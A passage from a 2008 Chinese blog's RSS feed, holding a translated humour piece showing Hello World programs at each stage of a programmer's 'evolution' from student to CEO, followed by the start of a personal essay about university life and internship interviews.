<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=10&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2008/11/04/jpcap%e2%80%94%e2%80%94java%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae%e9%93%be%e8%b7%af%e5%b1%82%e6%8e%a7%e5%88%b6/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>程序员的进化——从学生到首席执行官</title>
		<link>http://yanxin.wordpress.com/2008/08/27/%e7%a8%8b%e5%ba%8f%e5%91%98%e7%9a%84%e8%bf%9b%e5%8c%96%e2%80%94%e2%80%94%e4%bb%8e%e5%ad%a6%e7%94%9f%e5%88%b0%e9%a6%96%e5%b8%ad%e6%89%a7%e8%a1%8c%e5%ae%98/</link>
		<comments>http://yanxin.wordpress.com/2008/08/27/%e7%a8%8b%e5%ba%8f%e5%91%98%e7%9a%84%e8%bf%9b%e5%8c%96%e2%80%94%e2%80%94%e4%bb%8e%e5%ad%a6%e7%94%9f%e5%88%b0%e9%a6%96%e5%b8%ad%e6%89%a7%e8%a1%8c%e5%ae%98/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 12:21:01 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[娱乐]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2008/08/27/%e7%a8%8b%e5%ba%8f%e5%91%98%e7%9a%84%e8%bf%9b%e5%8c%96%e2%80%94%e2%80%94%e4%bb%8e%e5%ad%a6%e7%94%9f%e5%88%b0%e9%a6%96%e5%b8%ad%e6%89%a7%e8%a1%8c%e5%ae%98</guid>
		<description><![CDATA[翻译 2002 王咏刚 http://www.contextfree.net/ 转译自 Omri&#8217;s Computer Humor Page http://www.cs.bgu.ac.il/~omri/Humor/ &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 中学阶段 10 PRINT &#34;HELLO WORLD&#34; 20 END &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 大学一年级 program Hello(input, output) begin writeln(&#8216;Hello World&#8217;) end. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 大学高年级 (defun hello (print (cons &#8216;Hello (list &#8216;World)))) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 初级程序员 #include &#8230; <a href="http://yanxin.wordpress.com/2008/08/27/%e7%a8%8b%e5%ba%8f%e5%91%98%e7%9a%84%e8%bf%9b%e5%8c%96%e2%80%94%e2%80%94%e4%bb%8e%e5%ad%a6%e7%94%9f%e5%88%b0%e9%a6%96%e5%b8%ad%e6%89%a7%e8%a1%8c%e5%ae%98/">繼續閱讀 <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=11&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1575" class="bvMsg"> 翻译 2002 王咏刚 http://www.contextfree.net/<br />
<br />转译自 Omri&#8217;s Computer Humor Page<br />
<br />http://www.cs.bgu.ac.il/~omri/Humor/<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />中学阶段</p>
<p>          10 PRINT &quot;HELLO WORLD&quot;<br />
<br />          20 END<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />大学一年级</p>
<p>          program Hello(input, output)<br />
<br />            begin<br />
<br />              writeln(&#8216;Hello World&#8217;)<br />
<br />            end.<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />大学高年级</p>
<p>          (defun hello<br />
<br />            (print<br />
<br />              (cons &#8216;Hello (list &#8216;World))))<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />初级程序员</p>
<p>          #include ;<br />
<br />          void main(void)<br />
<br />          &#123;<br />
<br />            char *message[] = &#123;&quot;Hello &quot;, &quot;World&quot;&#125;;<br />
<br />            int i;</p>
<p>            for(i = 0; i &lt; 2; ++i)<br />
<br />              printf(&quot;%s&quot;, message[i]);<br />
<br />            printf(&quot;\n&quot;);<br />
<br />          &#125;<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />编程老鸟</p>
<p>          #include ;<br />
<br />          #include ;</p>
<p>          class string<br />
<br />          &#123;<br />
<br />          private:<br />
<br />            int size;<br />
<br />            char *ptr;</p>
<p>          public:<br />
<br />            string() : size(0), ptr(new char(&#8221;)) &#123;&#125;</p>
<p>            string(const string &amp;s) : size(s.size)<br />
<br />            &#123;<br />
<br />              ptr = new char[size + 1];<br />
<br />              strcpy(ptr, s.ptr);<br />
<br />            &#125;</p>
<p>            ~string()<br />
<br />            &#123;<br />
<br />              delete [] ptr;<br />
<br />            &#125;</p>
<p>            friend ostream &amp;operator &lt;&lt;(ostream &amp;, const string &amp;);<br />
<br />            string &amp;operator=(const char *);<br />
<br />          &#125;;</p>
<p>          ostream &amp;operator&lt;&lt;(ostream &amp;stream, const string &amp;s)<br />
<br />          &#123;<br />
<br />            return(stream &lt;&lt; s.ptr);<br />
<br />          &#125;</p>
<p>          string &amp;string::operator=(const char *chrs)<br />
<br />          &#123;<br />
<br />            if (this != &amp;chrs)<br />
<br />            &#123;<br />
<br />              delete [] ptr;<br />
<br />             size = strlen(chrs);<br />
<br />              ptr = new char[size + 1];<br />
<br />              strcpy(ptr, chrs);<br />
<br />            &#125;<br />
<br />            return(*this);<br />
<br />          &#125;</p>
<p>          int main()<br />
<br />          &#123;<br />
<br />            string str;</p>
<p>            str = &quot;Hello World&quot;;<br />
<br />            cout &lt;&lt; str &lt;&lt; end</p>
<p>            return(0);<br />
<br />          &#125;<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />编程高手</p>
<p>          [<br />
<br />          uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)<br />
<br />          ]<br />
<br />          library LHello<br />
<br />          &#123;<br />
<br />              // bring in the master library<br />
<br />              importlib(&quot;actimp.tlb&quot;);<br />
<br />              importlib(&quot;actexp.tlb&quot;);</p>
<p>              // bring in my interfaces<br />
<br />              #include &quot;pshlo.idl&quot;</p>
<p>              [<br />
<br />              uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)<br />
<br />              ]<br />
<br />              cotype THello<br />
<br />           &#123;<br />
<br />           interface IHello;<br />
<br />           interface IPersistFile;<br />
<br />           &#125;;<br />
<br />          &#125;;</p>
<p>          [<br />
<br />          exe,<br />
<br />          uuid(2573F890-CFEE-101A-9A9F-00AA00342820)<br />
<br />          ]<br />
<br />          module CHelloLib<br />
<br />          &#123;</p>
<p>              // some code related header files<br />
<br />              importheader(;);<br />
<br />              importheader(;);<br />
<br />              importheader(;);<br />
<br />              importheader(&quot;pshlo.h&quot;);<br />
<br />              importheader(&quot;shlo.hxx&quot;);<br />
<br />              importheader(&quot;mycls.hxx&quot;);</p>
<p>              // needed typelibs<br />
<br />              importlib(&quot;actimp.tlb&quot;);<br />
<br />              importlib(&quot;actexp.tlb&quot;);<br />
<br />              importlib(&quot;thlo.tlb&quot;);</p>
<p>              [<br />
<br />              uuid(2573F891-CFEE-101A-9A9F-00AA00342820),<br />
<br />              aggregatable<br />
<br />              ]<br />
<br />              coclass CHello<br />
<br />           &#123;<br />
<br />           cotype THello;<br />
<br />           &#125;;<br />
<br />          &#125;;</p>
<p>          #include &quot;ipfix.hxx&quot;</p>
<p>          extern HANDLE hEvent;</p>
<p>          class CHello : public CHelloBase<br />
<br />          &#123;<br />
<br />          public:<br />
<br />              IPFIX(CLSID_CHello);</p>
<p>              CHello(IUnknown *pUnk);<br />
<br />              ~CHello();</p>
<p>              HRESULT  __stdcall PrintSz(LPWSTR pwszString);</p>
<p>          private:<br />
<br />              static int cObjRef;<br />
<br />          &#125;;</p>
<p>          #include ;<br />
<br />          #include ;<br />
<br />          #include ;<br />
<br />          #include ;<br />
<br />          #include &quot;thlo.h&quot;<br />
<br />          #include &quot;pshlo.h&quot;<br />
<br />          #include &quot;shlo.hxx&quot;<br />
<br />          #include &quot;mycls.hxx&quot;</p>
<p>          int CHello::cObjRef = 0;</p>
<p>          CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)<br />
<br />          &#123;<br />
<br />              cObjRef++;<br />
<br />              return;<br />
<br />          &#125;</p>
<p>          HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)<br />
<br />          &#123;<br />
<br />              printf(&quot;%ws\n&quot;, pwszString);<br />
<br />              return(ResultFromScode(S_OK));<br />
<br />          &#125;</p>
<p>          CHello::~CHello(void)<br />
<br />          &#123;</p>
<p>          // when the object count goes to zero, stop the server<br />
<br />          cObjRef&#8211;;<br />
<br />          if( cObjRef == 0 )<br />
<br />              PulseEvent(hEvent);</p>
<p>          return;<br />
<br />          &#125;</p>
<p>          #include ;<br />
<br />          #include ;<br />
<br />          #include &quot;pshlo.h&quot;<br />
<br />          #include &quot;shlo.hxx&quot;<br />
<br />          #include &quot;mycls.hxx&quot;</p>
<p>          HANDLE hEvent;</p>
<p>           int _cdecl main(<br />
<br />          int argc,<br />
<br />          char * argv[]<br />
<br />          ) &#123;<br />
<br />          ULONG ulRef;<br />
<br />          DWORD dwRegistration;<br />
<br />          CHelloCF *pCF = new CHelloCF();</p>
<p>          hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);</p>
<p>          // Initialize the OLE libraries<br />
<br />          CoInitializeEx(NULL, COINIT_MULTITHREADED);</p>
<p>          CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,<br />
<br />              REGCLS_MULTIPLEUSE, &amp;dwRegistration);</p>
<p>          // wait on an event to stop<br />
<br />          WaitForSingleObject(hEvent, INFINITE);</p>
<p>          // revoke and release the class object<br />
<br />          CoRevokeClassObject(dwRegistration);<br />
<br />          ulRef = pCF-&gt;;Release();</p>
<p>          // Tell OLE we are going away.<br />
<br />          CoUninitialize();</p>
<p>          return(0);<br />
<br />          &#125;</p>
<p>          extern CLSID CLSID_CHello;<br />
<br />          extern UUID LIBID_CHelloLib;</p>
<p>          CLSID CLSID_CHello = &#123;  2573F891-CFEE-101A-9A9F-00AA00342820<br />
<br />              0x2573F891,<br />
<br />              0xCFEE,<br />
<br />              0x101A,<br />
<br />              &#123; 0x9A, 0x9F, 0&#215;00, 0xAA, 0&#215;00, 0&#215;34, 0&#215;28, 0&#215;20 &#125;<br />
<br />          &#125;;</p>
<p>          UUID LIBID_CHelloLib = &#123;  2573F890-CFEE-101A-9A9F-00AA00342820<br />
<br />              0x2573F890,<br />
<br />              0xCFEE,<br />
<br />              0x101A,<br />
<br />              &#123; 0x9A, 0x9F, 0&#215;00, 0xAA, 0&#215;00, 0&#215;34, 0&#215;28, 0&#215;20 &#125;<br />
<br />          &#125;;</p>
<p>          #include ;<br />
<br />          #include ;<br />
<br />          #include ;<br />
<br />          #include ;<br />
<br />          #include ;<br />
<br />          #include &quot;pshlo.h&quot;<br />
<br />          #include &quot;shlo.hxx&quot;<br />
<br />          #include &quot;clsid.h&quot;</p>
<p>          int _cdecl main(<br />
<br />          int argc,<br />
<br />          char * argv[]<br />
<br />          ) &#123;<br />
<br />          HRESULT  hRslt;<br />
<br />          IHello        *pHello;<br />
<br />          ULONG  ulCnt;<br />
<br />          IMoniker * pmk;<br />
<br />          WCHAR  wcsT[_MAX_PATH];<br />
<br />          WCHAR  wcsPath[2 * _MAX_PATH];</p>
<p>          // get object path<br />
<br />          wcsPath[0] = &#8221;;<br />
<br />          wcsT[0] = &#8221;;<br />
<br />          if( argc &gt;; 1) &#123;<br />
<br />              mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);<br />
<br />              wcsupr(wcsPath);<br />
<br />              &#125;<br />
<br />          else &#123;<br />
<br />              fprintf(stderr, &quot;Object path must be specified\n&quot;);<br />
<br />              return(1);<br />
<br />              &#125;</p>
<p>          // get print string<br />
<br />          if(argc &gt;; 2)<br />
<br />              mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);<br />
<br />          else<br />
<br />              wcscpy(wcsT, L&quot;Hello World&quot;);</p>
<p>          printf(&quot;Linking to object %ws\n&quot;, wcsPath);<br />
<br />          printf(&quot;Text String %ws\n&quot;, wcsT);</p>
<p>          // Initialize the OLE libraries<br />
<br />          hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);</p>
<p>          if(SUCCEEDED(hRslt)) &#123;</p>
<p>              hRslt = CreateFileMoniker(wcsPath, &amp;pmk);<br />
<br />              if(SUCCEEDED(hRslt))<br />
<br />           hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&amp;pHello);</p>
<p>              if(SUCCEEDED(hRslt)) &#123;</p>
<p>           // print a string out<br />
<br />           pHello-&gt;;PrintSz(wcsT);</p>
<p>           Sleep(2000);<br />
<br />           ulCnt = pHello-&gt;;Release();<br />
<br />           &#125;<br />
<br />              else<br />
<br />           printf(&quot;Failure to connect, status: %lx&quot;, hRslt);</p>
<p>              // Tell OLE we are going away.<br />
<br />              CoUninitialize();<br />
<br />              &#125;</p>
<p>          return(0);<br />
<br />          &#125;<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />黑客初阶</p>
<p>          #!/usr/local/bin/perl<br />
<br />          $msg=&quot;Hello, world.\n&quot;;<br />
<br />          if ($#ARGV &gt;;= 0) &#123;<br />
<br />            while(defined($arg=shift(@ARGV))) &#123;<br />
<br />              $outfilename = $arg;<br />
<br />              open(FILE, &quot;&gt;;&quot; . $outfilename) || die &quot;Can&#8217;t write $arg: $!\n&quot;;<br />
<br />              print (FILE $msg);<br />
<br />              close(FILE) || die &quot;Can&#8217;t close $arg: $!\n&quot;;<br />
<br />            &#125;<br />
<br />          &#125; else &#123;<br />
<br />            print ($msg);<br />
<br />          &#125;<br />
<br />          1;<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />黑客有成</p>
<p>          #include ;<br />
<br />          #define S &quot;Hello, World\n&quot;<br />
<br />          main()&#123;exit(printf(S) == strlen(S) ? 0 : 1);&#125;<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />黑客高手</p>
<p>          % cc -o a.out ~/src/misc/hw/hw.c<br />
<br />          % a.out<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />黑客大虾</p>
<p>          % cat<br />
<br />          Hello, world.<br />
<br />          ^D<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />初级经理</p>
<p>          10 PRINT &quot;HELLO WORLD&quot;<br />
<br />          20 END<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />中级经理</p>
<p>          mail -s &quot;Hello, world.&quot; bob@b12<br />
<br />          Bob, could you please write me a program that prints &quot;Hello, world.&quot;?<br />
<br />          I need it by tomorrow.<br />
<br />          ^D<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />高级经理</p>
<p>          % zmail jim<br />
<br />          I need a &quot;Hello, world.&quot; program by this afternoon.<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<br />首席执行官</p>
<p>          % letter<br />
<br />          letter: Command not found.<br />
<br />          % mail<br />
<br />          To: ^X ^F ^C<br />
<br />          % help mail<br />
<br />          help: Command not found.<br />
<br />          % damn!<br />
<br />          !: Event unrecognized<br />
<br />          % logout
                </div>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yanxin.wordpress.com/11/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yanxin.wordpress.com/11/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=11&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2008/08/27/%e7%a8%8b%e5%ba%8f%e5%91%98%e7%9a%84%e8%bf%9b%e5%8c%96%e2%80%94%e2%80%94%e4%bb%8e%e5%ad%a6%e7%94%9f%e5%88%b0%e9%a6%96%e5%b8%ad%e6%89%a7%e8%a1%8c%e5%ae%98/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>随感</title>
		<link>http://yanxin.wordpress.com/2008/06/28/%e9%9a%8f%e6%84%9f/</link>
		<comments>http://yanxin.wordpress.com/2008/06/28/%e9%9a%8f%e6%84%9f/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 17:29:41 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[个人]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2008/06/28/%e9%9a%8f%e6%84%9f</guid>
		<description><![CDATA[考试接近最后一门，看看SPACE上半年也没有写东西了，也算随便写写纯灌水吧。   关于天气今年终于见识到了什么是真正的梅雨季节。一个月里面20多天下着大大小小的雨。空气里、寝室里、教室里都是潮湿的味道.站在光华楼望着窗外的瓢泼大雨,有种莫名的惆怅感。   关于考试现在感觉到每次复习就是一次YY的过程。过程的形式是用你的想法来YY一张期末试卷出来，猜测老师会出些什么题目。除了特别BT的老师，基本上也能Y到八九不离十。   关于成绩FD的计算机用了理科的培养方式，造就了一些不会写程序的学生。一篇东拼西凑的YY论文与报告的效果要比一个优化的能正确运行的程序要高不少。不知是悲哀很是庆幸，不知新的计算机学院会给以后的孩子们带来什么。   关于思想偶然在xiaonei上看到某人写到“看看学校一群一群的党员，共性是不是学生会混的就是小有成就。除了给领导拍马屁就是那可惜的成绩”，只是觉得很悲哀。只是觉只能看出此人学生工作做不好，自傲的不屑于拍马屁与成绩很烂，对了还有一点就是强烈的妒忌心与所谓的自命不凡。对于独生子女的我们也许从小就被宠坏，走向社会要做什么，借用一个老师跟我说的话就是，不是每天梦想的做什么CEO，总统，而是先把身边的每一件事情做好。   关于离别每年这个时候，又是个离别的季节。看到04的人们穿这学士服在校园里留下最后的纪念，突然发现自己明年也会和他们一样。时光飞逝，大学三年学会了很多，发现了很多，感悟了很多，但也遗憾了很多。也许在最后一年该把遗憾都弥补了。   关于实习实习就像相亲，也许别人看不上你，也许你看不上别人，大家都在忙忙碌碌的寻找自己的“意中人”。想随便说说几个公司。ebay，效率很高，基本上一下午加一晚上就可以大致猜出录取与否。虽然自己一直以为这个算一家大企业，不过后来发现其实是一小公司作风，基本上只是招能熟练垒代码的学生。Google，对算法要求到了极致的年轻公司。从笔试到面试都在考验你的算法水平与技巧，如何写出最为高效和简洁的代码是它的目的。这里也是能发现最多大牛的地方，同时其环境、福利、薪酬也是属于最高档次。Autodesk，注重于C++与C#理解。不过假期的Intern更像是其产品的推广培训，不过它对FD的人不感冒，可能是前人的影响吧。IBM，老牌的大企业，其转型以不是传统的IT公司，更类似一个IT+咨询的综合解决方案提供者。这里每个员工的分工都很细，从招Intern的一大串不同名字的职位中就可以看出来。合作与团队精神在这里是最重要的。SGM，这个其实是凭借这对汽车的兴趣才投的，本以为可能会有智能交通与驾驶方便的研究。可是和部门负责人谈了后发现原来只是做企业内部的SAP，对于这个只有放弃了。不过成为正式员工的最大好处是可以以内部价格买车。   关于高考高考过了一段时间，湖北的分数和分数线也都已经出来了。每年这个时候也是大家最揪心的时刻。不知道表弟考的怎么样，也许考完试再打个电话问问。回家几次和之前的同学聊天也发现内陆和沿海的差别。可能沿海城市的机会更多，视野更广，但也最容易迷失自我。不过前几天接到高中老师的电话，还是向他推荐了让学弟学妹们报FD。   关于假期仔细看来其实这个假期属于最忙碌的一个假期了。其实也怪大一的时候假期不知道干什么，大二的假期都用来旅游，大三的假期该用来把欠下的都补上了。首先还是把单词背完，虽然自己也不确定这个能实现多少。其次跟着郭JJ好好学点东西，虽然到现在还没有见过。还有时间看下《Think in Java》与《Algorithm》。如果还有多的时间，恩，该想想去哪旅游好了。   说了这么多不着篇幅的话，算是纯粹的水文了，最后还是发几张好玩的图片，见识下这些英勇的人们吧              <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=12&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1464" class="bvMsg">
<div>考试接近最后一门，看看SPACE上半年也没有写东西了，也算随便写写纯灌水吧。</div>
<div> </div>
<div>关于天气<br />今年终于见识到了什么是真正的梅雨季节。一个月里面20多天下着大大小小的雨。空气里、寝室里、教室里都是潮湿的味道.站在光华楼望着窗外的瓢泼大雨,有种莫名的惆怅感。</div>
<div> </div>
<div>关于考试<br />现在感觉到每次复习就是一次YY的过程。过程的形式是用你的想法来YY一张期末试卷出来，猜测老师会出些什么题目。除了特别BT的老师，基本上也能Y到八九不离十。</div>
<div> </div>
<div>关于成绩<br />FD的计算机用了理科的培养方式，造就了一些不会写程序的学生。一篇东拼西凑的YY论文与报告的效果要比一个优化的能正确运行的程序要高不少。不知是悲哀很是庆幸，不知新的计算机学院会给以后的孩子们带来什么。</div>
<div> </div>
<div>关于思想<br />偶然在xiaonei上看到某人写到“看看学校一群一群的党员，共性是不是学生会混的就是小有成就。除了给领导拍马屁就是那可惜的成绩”，只是觉得很悲哀。只是觉只能看出此人学生工作做不好，自傲的不屑于拍马屁与成绩很烂，对了还有一点就是强烈的妒忌心与所谓的自命不凡。对于独生子女的我们也许从小就被宠坏，走向社会要做什么，借用一个老师跟我说的话就是，不是每天梦想的做什么CEO，总统，而是先把身边的每一件事情做好。</div>
<div> </div>
<div>关于离别<br />每年这个时候，又是个离别的季节。看到04的人们穿这学士服在校园里留下最后的纪念，突然发现自己明年也会和他们一样。时光飞逝，大学三年学会了很多，发现了很多，感悟了很多，但也遗憾了很多。也许在最后一年该把遗憾都弥补了。</div>
<div> </div>
